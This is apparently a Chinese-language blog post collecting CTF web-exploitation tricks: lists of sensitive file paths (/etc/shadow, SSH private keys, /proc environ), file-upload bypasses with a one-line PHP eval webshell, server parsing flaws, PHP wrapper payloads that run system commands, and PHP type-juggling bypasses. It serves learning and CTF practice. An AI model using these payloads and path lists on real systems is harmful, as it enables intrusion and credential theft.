一些CTF 做题的tricks

    技术2022-07-11  102

    一些CTF 做题的tricks,东拼西凑放到这里,方便查找

    任意文件读取路径汇总

    任意文件读取漏洞和文件包含漏洞的表现相似,但是任意文件读取不能getshell,可以通过尝试读取相对路径的脚本文件,比如/read.php?file=index.php,如果可以读取到文件源码,说明是文件读取,如果不能读取到文件源码说明是文件包含。

    下面收集的是一些常用的利用路径,应该够用了,以后也会及时更新,放在这便于以后的查阅和参考:


    需要高权限读取的:

    用户信息文件

    /etc/passwd # 用来记录每个拥有系统访问权的注册用户 /etc/shadow # 密码信息,获取到后可用 John the Ripper 爆破 /root/.bash_history # 输入命令的历史记录,还有root外的其他用户 /root/.ssh/id_rsa # 拿到私钥后可直接ssh登陆

    ### 系统信息文件

    /etc/hosts # 主机信息 /proc/version # 内核版本 /proc/mounts # 挂载的文件系统列表 /root/.bashrc # 环境变量信息 /proc/net/route # 路由表信息 /proc/net/arp # arp表,可以获得内网其他机器的地址 /root/.viminfo # vim 信息

    程序运行信息

    /proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用 /proc/net/tcp # 活动连接的信息 /proc/net/udp /proc/net/fib_trie # 路由缓存 /proc/[PID]/cmdline # 进程状态[pid],可能包含有用的路径信息,可以为0000-9999,可以暴力枚举 /proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell /proc/[PID]/cwd # 当前进程的工作目录 /proc/[PID]/fd/[num] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log /proc/self/fd/[0-99] # 可能获取到当前运行进程的文件

    获取当前进程信息

    fuzz字典

    /proc/self/cmdline /proc/self/stat /proc/self/status /proc/self/environ /proc/verison /proc/cmdline /proc/self/cwd /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 /proc/self/fd/3 /proc/self/fd/4 /proc/self/fd/5 /proc/self/fd/6 /proc/self/fd/7 /proc/self/fd/8 /proc/self/fd/9 /proc/self/fd/10 /proc/self/fd/11 /proc/self/fd/12 /proc/self/fd/13 /proc/self/fd/14 /proc/self/fd/15 /proc/self/fd/16 /proc/self/fd/17 /proc/self/fd/18 /proc/self/fd/19 /proc/self/fd/20 /proc/self/fd/21 /proc/self/fd/22 /proc/self/fd/23 /proc/self/fd/24 /proc/self/fd/25 /proc/self/fd/26 /proc/self/fd/27 /proc/self/fd/28 /proc/self/fd/29 /proc/self/fd/30 /proc/self/fd/31 /proc/self/fd/32 /proc/self/fd/33 /proc/self/fd/34 /proc/self/fd/35 /proc/sched_debug /proc/mounts /proc/net/arp /proc/net/route /proc/net/tcp /proc/net/udp /proc/net/fib_trie /proc/version

    系统信息相关:

    /etc/issue /proc/version /etc/redhat-release /etc/debian_version /etc/slackware_version /etc/*version /proc/cpuinfo

    一些默认路径

    SSH

    /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure

    Nginx

    /etc/nginx/nginx.conf /var/www/html /usr/local/services/nginx-1.6.2/logs/access.log #根据情况替换[version] /usr/local/services/nginx-[version]/logs/error.log /usr/local/services/nginx-[version]/nginx.conf /usr/local/services/nginx-[version]/conf/nginx.conf /usr/local/services/nginx-[version]/conf/proxy.conf /usr/local/services/nginx-[version]/conf/extra/haolaiyao.conf

    Apache

    /home/httpd/ /home/httpd/www/

    tomcat

    /usr/local/services/apache-tomcat-8.0.23/logs #根据情况替换[version] /usr/local/services/apache-tomcat-[version]/logs/catalina.out

    jetty

    /usr/local/services/jetty-8.1.16/ #根据情况替换[version] /usr/local/services/jetty-8.1.16/logs/stderrout.log /usr/local/services/jetty-8.1.16/etc/jetty.xml

    resin

    /usr/local/services/resin-4.0.44/ #根据情况替换[version] /usr/local/services/resin-4.0.44/conf/resin.xml /usr/local/services/resin-4.0.44/conf/resin.properties

    svn

    /home/svnroot/

    文件上传绕过


    平常做ctf题的时候有很多上传的题目,有时候碰到了文件上传会不知道往哪里尝试绕过,所以在这里汇总平时遇到的一些绕过思路,以便以后卡克的时候速查。


    Content-Type字段校验

    Content-Type用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,绕过时只需更改Content-Type参数值即可。

    常用Content-Type:

    #图片文件 image/png image/jpeg image/gif #文本文件 text/plain text/xml text/html

    更多 -> HTTP Content-Type 对照表


    文件头绕过

    在木马内容基础上再加一些文件信息,比如文件的文件头。

    其中.gif文件的文件头可以全部用ascii字符表示:

    GIF89a <?php eval($_POST[1]); ?>

    文件名绕过

    后缀名绕过

    后缀大小写绕过(linux下可以尝试)

    .pHp .aSp

    不常用后缀绕多

    通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过一些验证。

    .jsp .jspa .jspx .jspw .jspv .jspf .jtml # jsp文件 .asp .aspx .asa .asax .ascx .ashx .asmx .cer # asp文件 .php .php(1-*) .phtml .phpt .pht # php文件 .exe .exee # exe文件

    利用windows系统文件命令规则绕过

    windows系统会自动去掉不符合规则符号后面的内容

    以下文件名都会被解析为test.php

    test.php. test.php(空格) test.php:1.jpg test.php::$DATA

    .htaccess文件攻击

    .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

    <FilesMatch "cimer"> SetHandler application/x-httpd-php </FilesMatch>

    通过.htaccess文件,调用php的解析器解析一个文件名只要包含“cimer”这个字符串的任意文件。

    web应用程序解析绕过

    Apache解析漏洞

    一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错

    IIS解析漏洞

    IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析.

    /dirasp/1.jpg 因为文件名中有asp字样,所以该文件夹下的1.jpg文件打开时,会按照asp文件去解析执行

    另一个是只要文件名中含有.asp、.asa、.cer会优先按 asp 来解析

    1.asp.jpg

    IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串/任意文件名.php就会按照php的方式去解析;

    (任意文件名)/(任意文件名).php

    Nginx解析漏洞

    目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。

    (任意文件名)/(任意文件名).php

    还有一种是对低版本的Nginx(<=0.8.37)可以在任意文件名后面添加.php进行解析攻击。

    (任意文件名).php

    0x00截断

    0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符,这时就可能会产生0x00截断漏洞。

    绕过方式也很简单,用像test.php.jpg的方式进行截断,或打开bp的hex窗口,替换文件名部分对应的字符为00即可 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J538U9hS-1593606332387)(https://s2.ax1x.com/2019/04/13/ALRMx1.png)]

    php GD库渲染绕过

    有时候上传图片到服务器后,服务器会将图片压缩成缩略图,php的GD库就是压缩图片的一个库,常用于生成缩略图,经过GD处理后的图片信息,如果包含利用代码,会被混淆的一塌糊涂,无法运行。

    经php GD库渲染后的图片一般有如下特征字符串:

    CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80

    但是国外大神已经写出了绕过GD库渲染的WEBSHELL图片生成器,于是这个也可以轻松绕过了

    可以去这位大神的网站下载工具:jpg_payload

    该工具的具体使用方法:

    #首先需要安装php的gd库 apt-get install php-gd #jpg_name.jpg是待GD处理的图片(需要先经过一次GD处理) php jpg_payload.php <jpg_name.jpg>

    生成好的图片,在经过如下代码处理后,依然能保留其中的shell:

    <?php imagecreatefromjpeg('xxxx.jpg'); ?>

    php文件包含漏洞


    原理

    PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

    php文件包含漏洞通常由以下几个函数引发:

    include() #包含并运行指定文件,失败产生警告,脚本会继续运行。 include_once() #若文件已经被包含过,则不会再次包含。 require() #包含并运行指定文件,失败将导致脚本中止。 require_once() #若文件已经被包含过,则不会再次包含。

    当利用这四个函数来包含文件时,不管文件是什么类型,都会直接作为php文件进行解析,如果被包含的文件中无有效的php代码,则会直接把文件内容输出。

    例如有如下代码:

    <?php $file=$_GET['file']; include($file); ?>

    在当前目录有一个flag.txt

    只需访问?file=flag.txt,由于flag.txt文件中无有效的php代码,所以可以直接获取文件内容

    下面我们访问该目录下的另一个文件flag.php,其内容如下:

    <?php echo "flag is here"; $flag="flag{2333}"; ?>

    访问页面可看到如下内容,可以看到,php代码已经被解析了


    分类

    LFI(Local File Inclusion) 本地文件包含漏洞。顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。前面的例子就属于此类。

    RFI(Remote File Inclusion) 远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性就会很大。

    php中开启远程文件包含利用需要在php.ini中配置如下:

    allow_url_fopen = On #默认为On allow_url_include = On #php5.2之后就默认为Off

    利用

    目录遍历

    <?php include("inc/" . $_GET['file']); ?>

    linux中这两个文件储存着所有文件的路径,需要root权限:

    ?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db

    日志,配置文件

    ?file=../../../../../../../../../var/log/apache/error.log ?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

    更多参见–>传送门<–


    php伪协议

    关于文件包含漏洞,比较常用的还有php的php://伪协议,详细的介绍请戳官方文档

    这里比较常用的是:

    php://input php://filter

    php://input

    利用条件:

    allow_url_include = On

    修改配置文件:

    即可如图所示利用:

    php://filter

    可获取文件内容

    ?file=php://filter/read=convert.base64-encode/resource=flag.php ?file=php://filter/convert.base64-encode/resource=flag.php

    关于文件名:有时服务端可能会自动拼接后缀名,例如提交page=upload可能会被拼接为ipload.php,所以在获取失败时不妨去掉后缀名试试。

    通过指定末尾的文件,可以读取经base64编码后的文件源码

    其它伪协议的利用

    phar://

    可获取压缩包中文件内容

    事先得知道压缩文件目录结构

    ?file=phar://flag.zip/flag.txt

    zip://

    用法同上,但使用zip协议,需要指定绝对路径,同时将#编码为#,之后填上压缩包内的文件才会包含成功

    ?file=zip://D:\phpStudy\PHPTutorial\WWW\flag.zip#flag.txt

    data:URI schema

    命令执行

    ?file=data:text/plain,<?php phpinfo();?> ?file=data:text/plain,<?php system('whoami');?> ?file=data:text/plain,<?php echo `whoami`;?>

    执行效果如下:

    还可编码绕过:

    ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ #phpinfo(); ?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== #system('whoami'); ?file=data:text/plain;base64,PD9waHAgZWNobyBgd2hvYW1pYDs/Pg== #echo `whoami`;

    php支持的协议种类

    file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 phar:// — PHP 归档 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 ssh2:// - Secure Shell 2 rar:// - RAR ogg:// — 音频流 expect:// — 处理交互式的流

    这些均可用于支持文件系统操作的函数例如fopen(),copy(),file_exists(), filesize()

    测试用例:

    <?php echo file_get_contents($_GET['test']); ?>

    1.file:// — 访问本地文件系统

    直接传入路径即可,以file://开始可能会失败 如果不加以限制可能会泄露信息 访问:http://127.0.0.1/test.php?test=../phpStudy.ini

    结果:

    [phpStudy] path=E:\phpStudy\ wwwroot=E:\phpStudy\WWW yxms=0 phpver=phpa cdyc=1 dirlist=1 version=2014 URL=www.phpstudy.net nots=1 jsml=E:\phpStudy\WWW autojs=0

    2.http:// — 访问 HTTP(s) 网址

    访问:http://127.0.0.1/test.php?test=http://127.0.0.1/test.php?test=test.php

    结果:

    <?php echo file_get_contents($_GET['test']); ?>

    3.ftp:// — 访问 FTP(s) URLs

    这年头谁还用ftp啊

    4.php:// — 访问各个输入/输出流(I/O streams)

    这可是个重头戏

    php://input,php://stdout,php://stderr 直接访问 PHP 进程相应的输入或者输出流 php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。 php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。temp>2M时写入文件 php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用 在双off时都可以使用,容易造成任意文件读取

    传入:http://127.0.0.1/test.php?test=php://filter/read=convert.base64-encode/resource=./test.php

    结果:

    PD9waHANCmVjaG8gZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ3Rlc3QnXSk7DQo/Pg== 这里用的是read=筛选列表,使用了convert.base64-encode这个过滤器,resource=要过滤的数据 注意:(read/write可用省略)任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链

    5.zip://,bzip2://, zlib:// — 压缩流

    双off也可以用 用于读取压缩文件,注意#需要进行url编码 #前为压缩文件路径,后为压缩文件内的文件名 zip://test.zip#file.txt

    6.phar:// — PHP 归档

    同上 注意压缩文件必须要后缀(可以是任意后缀) phar://test.zip/test.php

    结果:

    <?php echo file_get_contents($_GET['test']); ?>

    7.data:// — 数据(RFC 2397)

    很常用的数据流构造器 , 将读取后面base编码字符串后解码的数据作为数据流的输入 一般用于构造输入:data://text/plain;base64,SSBsb3ZlIFBIUAo=

    结果:

    I love PHP

    8.glob:// — 查找匹配的文件路径模式

    用于查找文件,但是没法直接使用 需要DirectoryIterator()

    9-12.ssh2,rar,ogg,expect

    PHP变量覆盖漏洞

    变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击

    经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等

    0x1 $$引起的变量覆盖问题

    有如下代码

    <?php @error_reporting(1); $id=$_GET['id']; $flag=file_get_contents('flag'); echo $$id; ?>

    当我们输入url?id=flag时,即可获得flag文件里的内容,这里是因为当我们给id赋值为flag时$id='falg',flag变量里存储了flag文件里的内容,所以我们只要能获取到变量flag里的内容就可以得到flag了,当执行到echo $$id;时,注意到有两个 符 号 , P H P 从 右 开 始 解 析 变 量 , 所 以 ‘ ‘ ‘ 符号,PHP从右开始解析变量,所以``` ,PHP,id右边的 i d ‘ ‘ ‘ 解 析 为 ‘ ‘ ‘ f l a g ‘ ‘ ‘ 再 和 左 边 的 ‘ ‘ ‘ id```解析为```flag```再和左边的``` idflag符号组合成$flag```变量最后输出,即可拿到flag

    0x2 extract()函数变量覆盖问题

    首先介绍一下extract()函数的作用 extract() 函数从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

    以bugku中的一道题作为例子 extract变量覆盖

    <?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?>

    可以看到源码第三行使用了extract($_GET);来提取从$_GET方式获得的变量,并且在代码的第六行有if($shiyan==$content)的判断来决定是否输出flag,由于我们并不知道flag文件里的内容所以无法是判断成立,但是由于extract函数存在变量覆盖的问题,这里我们注意到代码中关键的一点是$flag变量是在extract()函数调用前赋的值,所以这里我们可以用extract()函数对flag变量进行覆盖,这题的payload为

    http://123.206.87.240:9009/1.php?shiyan=&flag=

    即可拿到flag

    解释一下这里我们并未对shiyan这个变量赋值所以为NULL,同理我们给flag不赋值,或者随便赋值(即一个不存在的文件名),让file_get_contents()这个函数获取flag文件里的内容时找不到文件即为NULL,所以if($shiyan==$content)两个变量都为NULL,条件成立输出flag

    0x3 parse_str()函数变量覆盖问题

    parse_str() 函数把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量.

    代码示例

    <?php parse_str("a=1"); echo $a."<br/>"; //$a=1 parse_str("b=1&c=2",$myArray); print_r($myArray); //Array ( [c] => 1 [b] => 2 ) ?>

    parse_str()类似的函数还有mb_parse_str(),用法基本一致。

    0x4 import_request_variables变量覆盖

    import_request_variables 函数可以在 register_global = off 时,把 GET/POST/Cookie 变量导入全局作用域中.

    示例代码

    <?php import_request_variables("g", "get_"); echo $get_id; ?> //提交:?id=111 //结构:111

    此篇主要是做笔记,记录PHP中的变量覆盖问题,不论是CTF还是实际场景中都可能遇到,所以放在这里,方便以后查看 文中部分内容来自 https://www.cnblogs.com/xiaozi/p/7768580.html 需要安装扩展

    PHP一些有"漏洞"的函数

    声明:以下部分内容或者代码来自互联网,搬到这里是做一下笔记,部分内容来自https://blog.csdn.net/qq_31481187/article/details/60968595

    strcmp函数绕过

    strcmp ( string $str1 , string $str2 ) : int

    str1第一个字符串 str2第二个字符串。 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

    利用strcmp函数将数组或者对象类型与字符串进行比较会返回-1,但是从5.3开始,会返回0

    示例

    <?php error_reporting(); $id=$_GET['id']; if(strcmp('ssss',$id)==0){ //YES } else{ //NO } ?>

    当输入id[]=时,if(strcmp('ssss',$id))条件成立,就会输出YES

    urldecode二次编码绕过

    bugku例题

    <?php if(eregi("hackerDJ",$_GET[id])) { echo(" not allowed! "); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo " Access granted! "; echo " flag "; } ?>

    eregi — 不区分大小写的正则表达式匹配,本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。

    %的url编码为%,而字符a的url编码为a,所以构造?id=h%61ckerDJ,第一次URL解码为hackerDJ,所以在第一个if语句绕过匹配,下面再次调用urldecode()函数,解码为hackerDJ,条件成立输出flag

    md5()函数引发的问题

    PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

    常见的payload有

    md5() md5(QNKCDZO) 0e830400451993494058024219903391 md5(s878926199a) 0e545993274517709034328855841020 md5(s155964671a) 0e342768416822451524974117254469 md5(s214587387a) 0e848240448830537924465865611904 md5(s214587387a) 0e848240448830537924465865611904 sha1() sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')

    同时md5()和sha1()不能处理数组,若有以下判断则可用数组绕过

    if(@md5($_GET['a']) == @md5($_GET['b'])) { echo "yes"; } if(@sha1($_GET['a']) == @md5($_GET['b'])) { echo "yes"; }

    ereg函数漏洞

    ereg()只能处理字符串的,遇到数组做参数返回NULL

    00截断

    正则表达式匹配以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。 如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1]包含第一个左圆括号开始的子串,$regs[2]包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。

    如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1

    ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE

    ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以这里可以使用截断正则匹配,如如果输入123|||

    变量本身的key

    说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。如

    <?php foreach ($_GET AS $key => $value) { print $key."\n"; } ?>

    由类型转换引发的问题

    intval()函数

    获取变量的整数值,通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1

    Note: **如果 base 是 0,通过检测 var 的格式来决定使用的进制: **

    如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。

    举一个西电的ctf题

    <?php error_reporting(0); require 'flag.php'; $value = $_GET['value']; $password = $_GET['password']; $username = ''; for ($i = 0; $i < count($value); ++$i) { if ($value[$i] > 32 && $value[$i] < 127) unset($value); else $username .= chr($value[$i]); if ($username == 'w3lc0me_To_xid1an' && intval($password) < 232 && intval($password + 1) > 233) { echo 'Hello '.$username.'!', '<br>', PHP_EOL; echo $flag, '<hr>'; } } highlight_file(__FILE__); chr函数在转换时会自动取模256,所以我们只需要在原本ascii码基础上+256即可 intval()在处理16进制时存在问题,经过测试在intval('0x123',16)转换正常,而intval('0x123')时会出错返回0,通过上面的函数介绍,可知在指定base为0的时候,才会处理'0x123'此类字符串作为16进制转换,否则按十进制转换;而在强制转换时,即intval($password + 1)时,里面的password+1时,已经做了转换,所以再用intval()函数时就不会出错

    switch()

    如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:

    <?php $i ="2ssss"; switch ($i) { case 0: case 1: case 2: echo "YES"; break; } ?>

    则会输出YES,这里是由于switch()对参数进行了类型转换

    in_array()

    $array=[0,1,2,'3']; var_dump(in_array('abc', $array)); //true var_dump(in_array('1bc', $array)); //true

    可以看到上面的情况返回的都是true,因为’abc’会转换为0,'1bc’转换为1。 在所有php认为是int的地方输入string,都会被强制转换

    unset()

    unset($var);用来销毁指定的变量,如果变量var 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过

    <?php // http://127.0.0.1/index.php?_CONFIG=123 $_CONFIG['extraSecure'] = true; foreach(array('_GET','_POST') as $method) { foreach($$method as $key=>$value) { // $key == _CONFIG // $$key == $_CONFIG // 这个函数会把 $_CONFIG 变量销毁 unset($$key); } } if ($_CONFIG['extraSecure'] == false) { echo 'flag {****}'; } ?>

    is_numeric

    PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字

    <?php echo is_numeric(233333); # 1 echo is_numeric('233333'); # 1 echo is_numeric(0x233333); # 1 echo is_numeric('0x233333'); # 1 echo is_numeric('233333abc'); # 0 ?>

    preg_match

    如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

    <?php $ip = '1.1.1.1 abcd'; // 可以绕过 if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) { die('error'); } else { echo('key...'); } ?>

    持续更新中…

    Processed: 0.011, SQL: 9